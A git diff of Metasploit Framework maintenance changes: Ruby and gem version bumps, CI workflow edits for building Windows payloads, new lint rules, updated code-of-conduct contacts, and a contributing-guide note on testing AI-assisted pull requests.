automatic module_metadata_base.json update

Add T1021 "Remote Services" MITRE technique and sub-technique references

.github/workflows/docs.yml

@@ -38,7 +38,7 @@ jobs:
       fail-fast: true
       matrix:
         ruby:
-          - '3.0'
+          - '3.3'
 
     name: Ruby ${{ matrix.ruby }}
     steps:

.github/workflows/meterpreter_acceptance.yml

@@ -44,6 +44,7 @@ on:
       - 'Gemfile.lock'
       - 'data/templates/**'
       - 'modules/payloads/**'
+      - 'lib/msf/base/sessions/**'
       - 'lib/msf/core/payload/**'
       - 'lib/msf/core/**'
       - 'test/modules/**'

.github/workflows/shared_meterpreter_acceptance.yml

@@ -198,7 +198,8 @@ jobs:
 
       - name: Setup Ruby
         env:
-          BUNDLE_FORCE_RUBY_PLATFORM: true
+          # Introduces flakiness when downloading zlib etc: https://github.com/sparklemotion/nokogiri/issues/3521
+          # BUNDLE_FORCE_RUBY_PLATFORM: true
           # Required for macos13 pg gem compilation
           PKG_CONFIG_PATH: "/usr/local/opt/libpq/lib/pkgconfig"
         # Pinned to avoid Windows compilation failure with nokogiri
@@ -268,12 +269,26 @@ jobs:
         working-directory: metasploit-payloads
 
       - name: Build Windows payloads via Visual Studio 2022 Build (Windows)
-        shell: cmd
+        shell: pwsh
         if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2022' && inputs.build_metasploit_payloads }}
         run: |
-          cd c/meterpreter
-          git submodule init && git submodule update
-          make.bat
+          Set-Location "C:\Program Files (x86)\Microsoft Visual Studio\Installer\"
+          dir
+          $InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise"
+          $WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"'
+          $Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache')
+          $process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden
+          if ($process.ExitCode -eq 0) {
+            Write-Host "components have been successfully added"
+          } else {
+            Write-Host "components were not installed"
+            exit 1
+          }
+          Set-Location "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter"
+          $r = Invoke-Command -ScriptBlock { cmd.exe /c 'git submodule init && git submodule update' }
+          Write-Host $r
+          $r = Invoke-Command -ScriptBlock { cmd.exe /c '"C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat' }
+          Write-Host $r
         working-directory: metasploit-payloads
 
       - name: Build Windows payloads via Visual Studio 2025 Build (Windows)

.rubocop.yml

@@ -23,6 +23,8 @@ require:
   - ./lib/rubocop/cop/lint/deprecated_gem_version.rb
   - ./lib/rubocop/cop/lint/module_enforce_notes.rb
   - ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
+  - ./lib/rubocop/cop/lint/detect_metadata_trailing_leading_whitespace.rb
+  - ./lib/rubocop/cop/lint/detect_outdated_cmd_exec_api.rb
 
 Layout/SpaceBeforeBrackets:
   Enabled: true
@@ -113,6 +115,12 @@ Style/DocumentDynamicEvalDefinition:
 Style/EndlessMethod:
   Enabled: true
 
+Style/FormatStringToken:
+  Enabled: true
+  Exclude:
+  # We aren't ready to enable this for modules yet
+    - 'modules/**/*'
+
 Style/HashExcept:
   Enabled: true
 
@@ -666,3 +674,12 @@ Style/UnpackFirst:
     Disabling to make it easier to copy/paste `unpack('h*')` expressions from code
     into a debugging REPL.
   Enabled: false
+
+Lint/DetectMetadataTrailingLeadingWhitespace:
+  Enabled: true
+
+Lint/DetectOutdatedCmdExecApi:
+  Description: >-
+    Detects outdated usage of cmd_exec with separate arguments.
+    Use `create_process(executable, args: [], time_out: 15, opts: {})` API with an args array instead.
+  Enabled: true

.ruby-version

@@ -1 +1 @@
-3.2.8
+3.3.8

CODE_OF_CONDUCT.md

@@ -37,7 +37,7 @@ when an individual is representing the project or its community.
 Instances of abusive, harassing, or otherwise unacceptable behavior may be
 reported by contacting the project maintainers at msfdev@metasploit.com. If
 the incident involves a committer, you may report it directly to
-caitlin_condon@rapid7.com or todb@metasploit.com.
+smcintyre@metasploit.com or jacquelyn_harris@rapid7.com.
 
 All complaints will be reviewed and investigated and will result in a
 response that is deemed necessary and appropriate to the circumstances.

CONTRIBUTING.md

@@ -11,7 +11,7 @@ Before we get into the details of contributing code, you should know there are m
  - [Help fellow users with open issues]. This can require technical knowledge, but you can also get involved in conversations about bug reports and feature requests. This is a great way to get involved without getting too overwhelmed!
  - [Help fellow committers test recently submitted pull requests](https://github.com/rapid7/metasploit-framework/pulls). Again this can require some technical skill, but by pulling down a pull request and testing it, you can help ensure our new code contributions for stability and quality.
  - [Report a security vulnerability in Metasploit itself] to Rapid7. If you see something you think makes Metasploit vulnerable to an attack, let us know!
- - Add [module documentation]. New documentation is always needed and cleaning up existing documents is just as important! If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand.
+ - Add [module documentation]. New documentation is always needed and cleaning up existing documents is just as important! If you're a non-native English speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand.
 
 
 ## Code Contributions
@@ -25,8 +25,10 @@ will be closed. We need to ensure the code we're adding to master is written to
 ## Expedited Module Creation Process
 We strive to respect the community that has given us so much, so in the odd situation where we get multiple submissions for the same vulnerability, generally we will work with the first person who assigns themselves to the issue or the first person that submits a good-faith PR.  A good-faith PR might not even work, but it will show that the author is working their way toward a solution.  Despite this general rule, there are rare circumstances where we may ask a contributor to step aside or allow a committer to take the lead on the creation of a new module if a complete and working module with documents has not already been submitted.  This kind of expedited module creation process comes up infrequently, and usually it involves high-profile or high priority modules that we have marked internally as time-critical: think KEV list, active exploitation campaigns, CISA announcements, etc.  In those cases, we may ask a contributor that is assigned to the issue or who has submitted an incomplete module to allow a committer to take over an issue or a module PR in the interest of getting a module out quickly.  If a contributor has submitted an incomplete module, they will remain as a co-author of the module and we may build directly onto the PR they submitted, leaving the original commits in the tree.  We sincerely hope that the original author will remain involved in this expedited module creation process.  We would appreciate testing, critiquing, and any assistance that can be offered.  If the module is complete but requires minor changes, we may ask the contributor to allow us to take over testing/verification and make these minor changes without asking so we can land the module as quickly as possible.  In these cases of minor code changes, the authorship of the module will remain unchanged.  We hope everyone involved in this expedited module creation process continues to feel valued and appreciated.
 
-### Code Contribution Do's & Don'ts:
+## Vibecoding, AI, and LLM
+My first job had a token ring LAN and I still own a Win98SE CD, so I'm not entirely sure what _vibecoding_ is, but we're cool with any coding technique you use to create a PR as long as it is tested, documented, and does what it says it does.  Untested code is incomplete code, and incomplete code should be marked as a draft PR or WIP (Work in Progress) until it is complete, tested, and ready for a committer to review.  We have had several submissions clearly from AI that were well-formatted, looked really neat, and did nothing it said it did.  While we have no problem with AI-assisted coding, please do not assume that the code generated by an AI or LLM is logically or even syntactically correct.
 
+### Code Contribution Do's & Don'ts:
 Keeping the following in mind gives your contribution the best chance of landing!
 
 #### <u>Pull Requests</u>
@@ -42,7 +44,7 @@ Keeping the following in mind gives your contribution the best chance of landing
 * **Do** target your pull request to the **master branch**.
 * **Do** specify a descriptive title to make searching for your pull request easier.
 * **Do** include [console output], especially for effects that can be witnessed in the  `msfconsole`.
-* **Do** test your code.
+* **Do** test your code and submit the test output in your PR with any sensitive information removed.
 * **Do** list [verification steps] so committers can test your code.
 * **Do** [reference associated issues] in your pull request description.
 * **Don't** leave your pull request description blank.
@@ -85,7 +87,7 @@ When reporting Metasploit issues:
 * **Don't** attempt to report issues on a closed PR.
 
 If you need some more guidance, talk to the main body of open source contributors over on our
-[Metasploit Slack] or [#metasploit on Freenode IRC].
+[GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions) or [Metasploit Slack]
 
 Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
 curve, so keep it up!

Dockerfile

@@ -1,4 +1,4 @@
-FROM ruby:3.2.8-alpine3.21 AS builder
+FROM ruby:3.3.8-alpine3.21 AS builder
 LABEL maintainer="Rapid7"
 
 ARG BUNDLER_CONFIG_ARGS="set force_ruby_platform 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
@@ -54,7 +54,7 @@ RUN mkdir -p $TOOLS_HOME/bin && \
     cd go/src && \
     ./make.bash
 
-FROM ruby:3.2.8-alpine3.21
+FROM ruby:3.3.8-alpine3.21
 LABEL maintainer="Rapid7"
 ARG TARGETARCH
 

Gemfile

@@ -31,6 +31,8 @@ group :development do
 end
 
 group :development, :test do
+  # For ./tools/dev/update_gem_licenses.sh
+  gem 'license_finder', '5.11.1'
   # running documentation generation tasks and rspec tasks
   gem 'rake'
   # Define `rake spec`.  Must be in development AND test so that its available by default as a rake test when the

Gemfile.lock

@@ -1,12 +1,12 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (6.4.69)
+    metasploit-framework (6.4.99)
       aarch64
       abbrev
-      actionpack (~> 7.1.0)
-      activerecord (~> 7.1.0)
-      activesupport (~> 7.1.0)
+      actionpack (~> 7.2.0)
+      activerecord (~> 7.2.0)
+      activesupport (~> 7.2.0)
       aws-sdk-ec2
       aws-sdk-ec2instanceconnect
       aws-sdk-iam
@@ -20,8 +20,8 @@ PATH
       bootsnap
       bson
       chunky_png
-      concurrent-ruby (= 1.3.4)
       csv
+      date (= 3.4.1)
       dnsruby
       drb
       ed25519
@@ -29,7 +29,7 @@ PATH
       em-http-request
       eventmachine
       faker
-      faraday (= 2.7.11)
+      faraday
       faraday-retry
       faye-websocket
       ffi (< 1.17.0)
@@ -38,16 +38,17 @@ PATH
       getoptlong
       hrr_rb_ssh-ed25519
       http-cookie
-      irb (~> 1.7.4)
+      irb
       jsobfu
       json
+      lru_redux
       metasm
       metasploit-concern
       metasploit-credential
       metasploit-model
-      metasploit-payloads (= 2.0.221)
+      metasploit-payloads (= 2.0.237)
       metasploit_data_models (>= 6.0.7)
-      metasploit_payloads-mettle (= 1.0.35)
+      metasploit_payloads-mettle (= 1.0.45)
       mqtt
       msgpack (~> 1.6.0)
       mutex_m
@@ -60,16 +61,18 @@ PATH
       network_interface
       nexpose
       nokogiri
-      octokit (~> 4.0)
+      octokit
       openssl-ccm
       openvas-omp
       ostruct
       packetfu
+      parallel
       patch_finder
       pcaprub
       pdf-reader
       pg
       puma
+      rack (~> 2.2)
       railties
       rasn1 (= 0.14.0)
       rb-readline
@@ -94,17 +97,20 @@ PATH
       rex-struct2
       rex-text
       rex-zip
+      rexml (= 3.4.1)
       rinda
       ruby-macho
       ruby-mysql
       ruby_smb (~> 3.3.15)
       rubyntlm
       rubyzip
-      sinatra
+      sinatra (~> 3.2)
       sqlite3 (= 1.7.3)
       sshkey
+      stringio (= 3.1.1)
       swagger-blocks
-      thin
+      syslog
+      thin (~> 1.x)
       tzinfo
       tzinfo-data
       unix-crypt
@@ -123,48 +129,48 @@ GEM
     aarch64 (2.1.0)
       racc (~> 1.6)
     abbrev (0.1.2)
-    actionpack (7.1.5.1)
-      actionview (= 7.1.5.1)
-      activesupport (= 7.1.5.1)
+    actionpack (7.2.2.2)
+      actionview (= 7.2.2.2)
+      activesupport (= 7.2.2.2)
       nokogiri (>= 1.8.5)
       racc
-      rack (>= 2.2.4)
+      rack (>= 2.2.4, < 3.2)
       rack-session (>= 1.0.1)
       rack-test (>= 0.6.3)
       rails-dom-testing (~> 2.2)
       rails-html-sanitizer (~> 1.6)
-    actionview (7.1.5.1)
-      activesupport (= 7.1.5.1)
+      useragent (~> 0.16)
+    actionview (7.2.2.2)
+      activesupport (= 7.2.2.2)
       builder (~> 3.1)
       erubi (~> 1.11)
       rails-dom-testing (~> 2.2)
       rails-html-sanitizer (~> 1.6)
-    activemodel (7.1.5.1)
-      activesupport (= 7.1.5.1)
-    activerecord (7.1.5.1)
-      activemodel (= 7.1.5.1)
-      activesupport (= 7.1.5.1)
+    activemodel (7.2.2.2)
+      activesupport (= 7.2.2.2)
+    activerecord (7.2.2.2)
+      activemodel (= 7.2.2.2)
+      activesupport (= 7.2.2.2)
       timeout (>= 0.4.0)
-    activesupport (7.1.5.1)
+    activesupport (7.2.2.2)
       base64
       benchmark (>= 0.3)
       bigdecimal
-      concurrent-ruby (~> 1.0, >= 1.0.2)
+      concurrent-ruby (~> 1.0, >= 1.3.1)
       connection_pool (>= 2.2.5)
       drb
       i18n (>= 1.6, < 2)
       logger (>= 1.4.2)
       minitest (>= 5.1)
-      mutex_m
       securerandom (>= 0.3)
-      tzinfo (~> 2.0)
+      tzinfo (~> 2.0, >= 2.0.5)
     addressable (2.8.7)
       public_suffix (>= 2.0.2, < 7.0)
     afm (0.2.2)
-    allure-rspec (2.26.0)
-      allure-ruby-commons (= 2.26.0)
+    allure-rspec (2.27.0)
+      allure-ruby-commons (= 2.27.0)
       rspec-core (>= 3.8, < 4)
-    allure-ruby-commons (2.26.0)
+    allure-ruby-commons (2.27.0)
       mime-types (>= 3.3, < 4)
       require_all (>= 2, < 4)
       rspec-expectations (~> 3.12)
@@ -200,38 +206,38 @@ GEM
       aws-sigv4 (~> 1.5)
     aws-sigv4 (1.11.0)
       aws-eventstream (~> 1, >= 1.0.2)
-    base64 (0.2.0)
+    base64 (0.3.0)
     bcrypt (3.1.20)
     bcrypt_pbkdf (1.1.1)
-    benchmark (0.4.0)
-    bigdecimal (3.1.9)
+    benchmark (0.4.1)
+    bigdecimal (3.2.3)
     bindata (2.4.15)
     bootsnap (1.18.4)
       msgpack (~> 1.2)
-    bson (5.0.2)
+    bson (5.1.1)
     builder (3.3.0)
-    byebug (11.1.3)
+    byebug (12.0.0)
     chunky_png (1.4.0)
     coderay (1.1.3)
-    concurrent-ruby (1.3.4)
-    connection_pool (2.5.0)
+    concurrent-ruby (1.3.5)
+    connection_pool (2.5.4)
     cookiejar (0.3.4)
     crass (1.0.6)
     csv (3.3.2)
     daemons (1.4.1)
     date (3.4.1)
-    debug (1.8.0)
-      irb (>= 1.5.0)
-      reline (>= 0.3.1)
-    diff-lcs (1.6.0)
-    dnsruby (1.72.4)
-      base64 (~> 0.2.0)
-      logger (~> 1.6.5)
+    debug (1.11.0)
+      irb (~> 1.10)
+      reline (>= 0.3.8)
+    diff-lcs (1.6.2)
+    dnsruby (1.73.0)
+      base64 (>= 0.2)
+      logger (~> 1.6)
       simpleidn (~> 0.2.1)
     docile (1.4.1)
     domain_name (0.6.20240107)
-    drb (2.2.1)
-    ed25519 (1.3.0)
+    drb (2.2.3)
+    ed25519 (1.4.0)
     elftools (1.3.1)
       bindata (~> 2)
     em-http-request (1.1.7)
@@ -243,13 +249,14 @@ GEM
     em-socksify (0.3.3)
       base64
       eventmachine (>= 1.0.0.beta.4)
+    erb (5.0.3)
     erubi (1.13.1)
     eventmachine (1.2.7)
-    factory_bot (6.5.1)
+    factory_bot (6.5.5)
       activesupport (>= 6.1.0)
-    factory_bot_rails (6.4.4)
+    factory_bot_rails (6.5.1)
       factory_bot (~> 6.5)
-      railties (>= 5.0.0)
+      railties (>= 6.1.0)
     faker (3.5.1)
       i18n (>= 1.8.11, < 2)
     faraday (2.7.11)
@@ -285,32 +292,44 @@ GEM
       mutex_m
     i18n (1.14.7)
       concurrent-ruby (~> 1.0)
-    io-console (0.8.0)
+    io-console (0.8.1)
     ipaddr (1.2.7)
-    irb (1.7.4)
-      reline (>= 0.3.6)
+    irb (1.15.2)
+      pp (>= 0.6.0)
+      rdoc (>= 4.0.0)
+      reline (>= 0.4.2)
     jmespath (1.6.2)
     jsobfu (0.4.2)
       rkelly-remix
-    json (2.10.2)
+    json (2.15.1)
     language_server-protocol (3.17.0.5)
+    license_finder (5.11.1)
+      bundler
+      rubyzip (>= 1, < 3)
+      thor
+      toml (= 0.2.0)
+      with_env (= 1.1.0)
+      xml-simple
     lint_roller (1.1.0)
     little-plugger (1.1.4)
-    logger (1.6.6)
+    logger (1.7.0)
     logging (2.4.0)
       little-plugger (~> 1.1)
       multi_json (~> 1.14)
-    loofah (2.24.0)
+    loofah (2.24.1)
       crass (~> 1.0.2)
       nokogiri (>= 1.12.0)
+    lru_redux (1.1.0)
     memory_profiler (1.1.0)
     metasm (1.0.5)
-    metasploit-concern (5.0.4)
+    metasploit-concern (5.0.5)
       activemodel (~> 7.0)
       activesupport (~> 7.0)
+      drb
+      mutex_m
       railties (~> 7.0)
       zeitwerk
-    metasploit-credential (6.0.16)
+    metasploit-credential (6.0.19)
       bigdecimal
       csv
       drb
@@ -323,12 +342,15 @@ GEM
       railties
       rex-socket
       rubyntlm
-      rubyzip
-    metasploit-model (5.0.3)
+      rubyzip (< 3.0.0)
+    metasploit-model (5.0.4)
       activemodel (~> 7.0)
       activesupport (~> 7.0)
+      bigdecimal
+      drb
+      mutex_m
       railties (~> 7.0)
-    metasploit-payloads (2.0.221)
+    metasploit-payloads (2.0.237)
     metasploit_data_models (6.0.9)
       activerecord (~> 7.0)
       activesupport (~> 7.0)
@@ -339,15 +361,16 @@ GEM
       railties (~> 7.0)
       recog
       webrick
-    metasploit_payloads-mettle (1.0.35)
+    metasploit_payloads-mettle (1.0.45)
     method_source (1.1.0)
-    mime-types (3.6.0)
+    mime-types (3.7.0)
       logger
-      mime-types-data (~> 3.2015)
-    mime-types-data (3.2025.0304)
-    mini_portile2 (2.8.8)
+      mime-types-data (~> 3.2025, >= 3.2025.0507)
+    mime-types-data (3.2025.0924)
+    mini_portile2 (2.8.9)
     minitest (5.25.5)
-    mqtt (0.6.0)
+    mqtt (0.7.0)
+      logger
     msgpack (1.6.1)
     multi_json (1.15.0)
     mustermann (3.0.3)
@@ -368,12 +391,12 @@ GEM
     network_interface (0.0.4)
     nexpose (7.3.0)
     nio4r (2.7.4)
-    nokogiri (1.18.3)
+    nokogiri (1.18.10)
       mini_portile2 (~> 2.8.2)
       racc (~> 1.4)
     nori (2.7.1)
       bigdecimal
-    octokit (4.25.1)
+    octokit (10.0.0)
       faraday (>= 1, < 3)
       sawyer (~> 0.9)
     openssl-ccm (1.2.3)
@@ -383,9 +406,10 @@ GEM
     packetfu (2.0.0)
       pcaprub (~> 0.13.1)
     parallel (1.27.0)
-    parser (3.3.8.0)
+    parser (3.3.9.0)
       ast (~> 2.4.1)
       racc
+    parslet (1.8.2)
     patch_finder (1.0.2)
     pcaprub (0.13.3)
     pdf-reader (2.14.1)
@@ -395,18 +419,24 @@ GEM
       ruby-rc4
       ttfunk
     pg (1.5.9)
-    prism (1.4.0)
-    pry (0.14.2)
+    pp (0.6.3)
+      prettyprint
+    prettyprint (0.2.0)
+    prism (1.5.1)
+    pry (0.15.2)
       coderay (~> 1.1)
       method_source (~> 1.0)
-    pry-byebug (3.10.1)
-      byebug (~> 11.0)
-      pry (>= 0.13, < 0.15)
-    public_suffix (6.0.1)
+    pry-byebug (3.11.0)
+      byebug (~> 12.0)
+      pry (>= 0.13, < 0.16)
+    psych (5.2.6)
+      date
+      stringio
+    public_suffix (6.0.2)
     puma (6.6.0)
       nio4r (~> 2.0)
     racc (1.8.1)
-    rack (2.2.13)
+    rack (2.2.19)
     rack-protection (3.2.0)
       base64 (>= 0.1.0)
       rack (~> 2.2, >= 2.2.4)
@@ -417,31 +447,35 @@ GEM
     rackup (1.0.1)
       rack (< 3)
       webrick
-    rails-dom-testing (2.2.0)
+    rails-dom-testing (2.3.0)
       activesupport (>= 5.0.0)
       minitest
       nokogiri (>= 1.6)
     rails-html-sanitizer (1.6.2)
       loofah (~> 2.21)
       nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0)
-    railties (7.1.5.1)
-      actionpack (= 7.1.5.1)
-      activesupport (= 7.1.5.1)
-      irb
+    railties (7.2.2.2)
+      actionpack (= 7.2.2.2)
+      activesupport (= 7.2.2.2)
+      irb (~> 1.13)
       rackup (>= 1.0.0)
       rake (>= 12.2)
       thor (~> 1.0, >= 1.2.2)
       zeitwerk (~> 2.6)
     rainbow (3.1.1)
-    rake (13.2.1)
+    rake (13.3.0)
     rasn1 (0.14.0)
       strptime (~> 0.2.5)
     rb-readline (0.5.5)
+    rdoc (6.15.0)
+      erb
+      psych (>= 4.0.0)
+      tsort
     recog (3.1.14)
       nokogiri
     redcarpet (3.6.1)
-    regexp_parser (2.10.0)
-    reline (0.6.0)
+    regexp_parser (2.11.3)
+    reline (0.6.2)
       io-console (~> 0.5)
     require_all (3.0.0)
     rex-arch (0.1.18)
@@ -457,9 +491,11 @@ GEM
       metasm
       rex-arch
       rex-text
-    rex-exploitation (0.1.41)
+    rex-exploitation (0.1.44)
+      bigdecimal
       jsobfu
       metasm
+      racc
       rex-arch
       rex-encoder
       rex-text
@@ -471,11 +507,12 @@ GEM
       rex-arch
     rex-ole (0.1.9)
       rex-text
-    rex-powershell (0.1.101)
+    rex-powershell (0.1.103)
+      bigdecimal
       rex-random_identifier
       rex-text
       ruby-rc4
-    rex-random_identifier (0.1.16)
+    rex-random_identifier (0.1.21)
       bigdecimal
       rex-text
     rex-registry (0.1.6)
@@ -501,29 +538,29 @@ GEM
       forwardable
       ipaddr
     rkelly-remix (0.0.7)
-    rspec (3.13.0)
+    rspec (3.13.1)
       rspec-core (~> 3.13.0)
       rspec-expectations (~> 3.13.0)
       rspec-mocks (~> 3.13.0)
-    rspec-core (3.13.3)
+    rspec-core (3.13.5)
       rspec-support (~> 3.13.0)
-    rspec-expectations (3.13.3)
+    rspec-expectations (3.13.5)
       diff-lcs (>= 1.2.0, < 2.0)
       rspec-support (~> 3.13.0)
-    rspec-mocks (3.13.2)
+    rspec-mocks (3.13.5)
       diff-lcs (>= 1.2.0, < 2.0)
       rspec-support (~> 3.13.0)
-    rspec-rails (7.1.1)
-      actionpack (>= 7.0)
-      activesupport (>= 7.0)
-      railties (>= 7.0)
+    rspec-rails (8.0.2)
+      actionpack (>= 7.2)
+      activesupport (>= 7.2)
+      railties (>= 7.2)
       rspec-core (~> 3.13)
       rspec-expectations (~> 3.13)
       rspec-mocks (~> 3.13)
       rspec-support (~> 3.13)
     rspec-rerun (1.1.0)
       rspec (~> 3.0)
-    rspec-support (3.13.2)
+    rspec-support (3.13.6)
     rubocop (1.75.7)
       json (~> 2.3)
       language_server-protocol (~> 3.17.0.2)
@@ -535,12 +572,13 @@ GEM
       rubocop-ast (>= 1.44.0, < 2.0)
       ruby-progressbar (~> 1.7)
       unicode-display_width (>= 2.4.0, < 4.0)
-    rubocop-ast (1.44.1)
+    rubocop-ast (1.47.1)
       parser (>= 3.3.7.2)
       prism (~> 1.4)
     ruby-macho (4.1.0)
     ruby-mysql (4.2.0)
-    ruby-prof (1.7.1)
+    ruby-prof (1.7.2)
+      base64
     ruby-progressbar (1.13.0)
     ruby-rc4 (0.1.5)
     ruby2_keywords (0.0.5)
@@ -570,27 +608,34 @@ GEM
     sqlite3 (1.7.3)
       mini_portile2 (~> 2.8.0)
     sshkey (3.0.0)
+    stringio (3.1.1)
     strptime (0.2.5)
     swagger-blocks (3.0.0)
+    syslog (0.3.0)
+      logger
     test-prof (1.4.4)
     thin (1.8.2)
       daemons (~> 1.0, >= 1.0.9)
       eventmachine (~> 1.0, >= 1.0.4)
       rack (>= 1, < 3)
-    thor (1.3.2)
+    thor (1.4.0)
     tilt (2.6.0)
     timecop (0.9.10)
     timeout (0.4.3)
+    toml (0.2.0)
+      parslet (~> 1.8.0)
+    tsort (0.2.0)
     ttfunk (1.8.0)
       bigdecimal (~> 3.1)
     tzinfo (2.0.6)
       concurrent-ruby (~> 1.0)
     tzinfo-data (1.2025.1)
       tzinfo (>= 1.0.0)
-    unicode-display_width (3.1.4)
-      unicode-emoji (~> 4.0, >= 4.0.4)
-    unicode-emoji (4.0.4)
+    unicode-display_width (3.2.0)
+      unicode-emoji (~> 4.1)
+    unicode-emoji (4.1.0)
     unix-crypt (1.3.1)
+    useragent (0.16.11)
     warden (1.2.9)
       rack (>= 2.0.9)
     webrick (1.9.1)
@@ -610,13 +655,16 @@ GEM
       nori (~> 2.0, >= 2.7.1)
       rexml (~> 3.0)
       rubyntlm (~> 0.6.0, >= 0.6.3)
+    with_env (1.1.0)
     xdr (3.0.3)
       activemodel (>= 4.2, < 8.0)
       activesupport (>= 4.2, < 8.0)
+    xml-simple (1.1.9)
+      rexml
     xmlrpc (0.3.3)
       webrick
     yard (0.9.37)
-    zeitwerk (2.7.2)
+    zeitwerk (2.7.3)
 
 PLATFORMS
   ruby
@@ -626,6 +674,7 @@ DEPENDENCIES
   debug (>= 1.0.0)
   factory_bot_rails
   fivemat
+  license_finder (= 5.11.1)
   memory_profiler
   metasploit-framework!
   octokit
@@ -642,4 +691,4 @@ DEPENDENCIES
   yard
 
 BUNDLED WITH
-   2.5.10
+   2.5.22

LICENSE_GEMS

@@ -2,15 +2,15 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh
 Ascii85, 2.0.1, MIT
 aarch64, 2.1.0, "Apache 2.0"
 abbrev, 0.1.2, "ruby, Simplified BSD"
-actionpack, 7.1.5.1, MIT
-actionview, 7.1.5.1, MIT
-activemodel, 7.1.5.1, MIT
-activerecord, 7.1.5.1, MIT
-activesupport, 7.1.5.1, MIT
+actionpack, 7.2.2.2, MIT
+actionview, 7.2.2.2, MIT
+activemodel, 7.2.2.2, MIT
+activerecord, 7.2.2.2, MIT
+activesupport, 7.2.2.2, MIT
 addressable, 2.8.7, "Apache 2.0"
 afm, 0.2.2, MIT
-allure-rspec, 2.26.0, "Apache 2.0"
-allure-ruby-commons, 2.26.0, "Apache 2.0"
+allure-rspec, 2.27.0, "Apache 2.0"
+allure-ruby-commons, 2.27.0, "Apache 2.0"
 arel-helpers, 2.16.0, MIT
 ast, 2.4.3, MIT
 aws-eventstream, 1.3.2, "Apache 2.0"
@@ -23,40 +23,41 @@ aws-sdk-kms, 1.99.0, "Apache 2.0"
 aws-sdk-s3, 1.182.0, "Apache 2.0"
 aws-sdk-ssm, 1.191.0, "Apache 2.0"
 aws-sigv4, 1.11.0, "Apache 2.0"
-base64, 0.2.0, "ruby, Simplified BSD"
+base64, 0.3.0, "ruby, Simplified BSD"
 bcrypt, 3.1.20, MIT
 bcrypt_pbkdf, 1.1.1, MIT
-benchmark, 0.4.0, "ruby, Simplified BSD"
-bigdecimal, 3.1.9, "ruby, Simplified BSD"
+benchmark, 0.4.1, "ruby, Simplified BSD"
+bigdecimal, 3.2.3, "ruby, Simplified BSD"
 bindata, 2.4.15, "Simplified BSD"
 bootsnap, 1.18.4, MIT
-bson, 5.0.2, "Apache 2.0"
+bson, 5.1.1, "Apache 2.0"
 builder, 3.3.0, MIT
-bundler, 2.5.10, MIT
-byebug, 11.1.3, "Simplified BSD"
+bundler, 2.5.22, MIT
+byebug, 12.0.0, "Simplified BSD"
 chunky_png, 1.4.0, MIT
 coderay, 1.1.3, MIT
-concurrent-ruby, 1.3.4, MIT
-connection_pool, 2.5.0, MIT
+concurrent-ruby, 1.3.5, MIT
+connection_pool, 2.5.4, MIT
 cookiejar, 0.3.4, "Simplified BSD"
 crass, 1.0.6, MIT
 csv, 3.3.2, "ruby, Simplified BSD"
 daemons, 1.4.1, MIT
 date, 3.4.1, "ruby, Simplified BSD"
-debug, 1.8.0, "ruby, Simplified BSD"
-diff-lcs, 1.6.0, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
-dnsruby, 1.72.4, "Apache 2.0"
+debug, 1.11.0, "ruby, Simplified BSD"
+diff-lcs, 1.6.2, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
+dnsruby, 1.73.0, "Apache 2.0"
 docile, 1.4.1, MIT
 domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
-drb, 2.2.1, "ruby, Simplified BSD"
-ed25519, 1.3.0, MIT
+drb, 2.2.3, "ruby, Simplified BSD"
+ed25519, 1.4.0, MIT
 elftools, 1.3.1, MIT
 em-http-request, 1.1.7, MIT
 em-socksify, 0.3.3, MIT
+erb, 5.0.3, "ruby, Simplified BSD"
 erubi, 1.13.1, MIT
 eventmachine, 1.2.7, "ruby, GPL-2.0"
-factory_bot, 6.5.1, MIT
-factory_bot_rails, 6.4.4, MIT
+factory_bot, 6.5.5, MIT
+factory_bot_rails, 6.5.1, MIT
 faker, 3.5.1, MIT
 faraday, 2.7.11, MIT
 faraday-net_http, 3.0.2, MIT
@@ -77,33 +78,35 @@ http-cookie, 1.0.8, MIT
 http_parser.rb, 0.8.0, MIT
 httpclient, 2.9.0, ruby
 i18n, 1.14.7, MIT
-io-console, 0.8.0, "ruby, Simplified BSD"
+io-console, 0.8.1, "ruby, Simplified BSD"
 ipaddr, 1.2.7, "ruby, Simplified BSD"
-irb, 1.7.4, "ruby, Simplified BSD"
+irb, 1.15.2, "ruby, Simplified BSD"
 jmespath, 1.6.2, "Apache 2.0"
 jsobfu, 0.4.2, "New BSD"
-json, 2.10.2, ruby
+json, 2.15.1, ruby
 language_server-protocol, 3.17.0.5, MIT
+license_finder, 5.11.1, MIT
 lint_roller, 1.1.0, MIT
 little-plugger, 1.1.4, MIT
-logger, 1.6.6, "ruby, Simplified BSD"
+logger, 1.7.0, "ruby, Simplified BSD"
 logging, 2.4.0, MIT
-loofah, 2.24.0, MIT
+loofah, 2.24.1, MIT
+lru_redux, 1.1.0, MIT
 memory_profiler, 1.1.0, MIT
 metasm, 1.0.5, LGPL-2.1
-metasploit-concern, 5.0.4, "New BSD"
-metasploit-credential, 6.0.16, "New BSD"
-metasploit-framework, 6.4.69, "New BSD"
-metasploit-model, 5.0.3, "New BSD"
-metasploit-payloads, 2.0.221, "3-clause (or ""modified"") BSD"
+metasploit-concern, 5.0.5, "New BSD"
+metasploit-credential, 6.0.19, "New BSD"
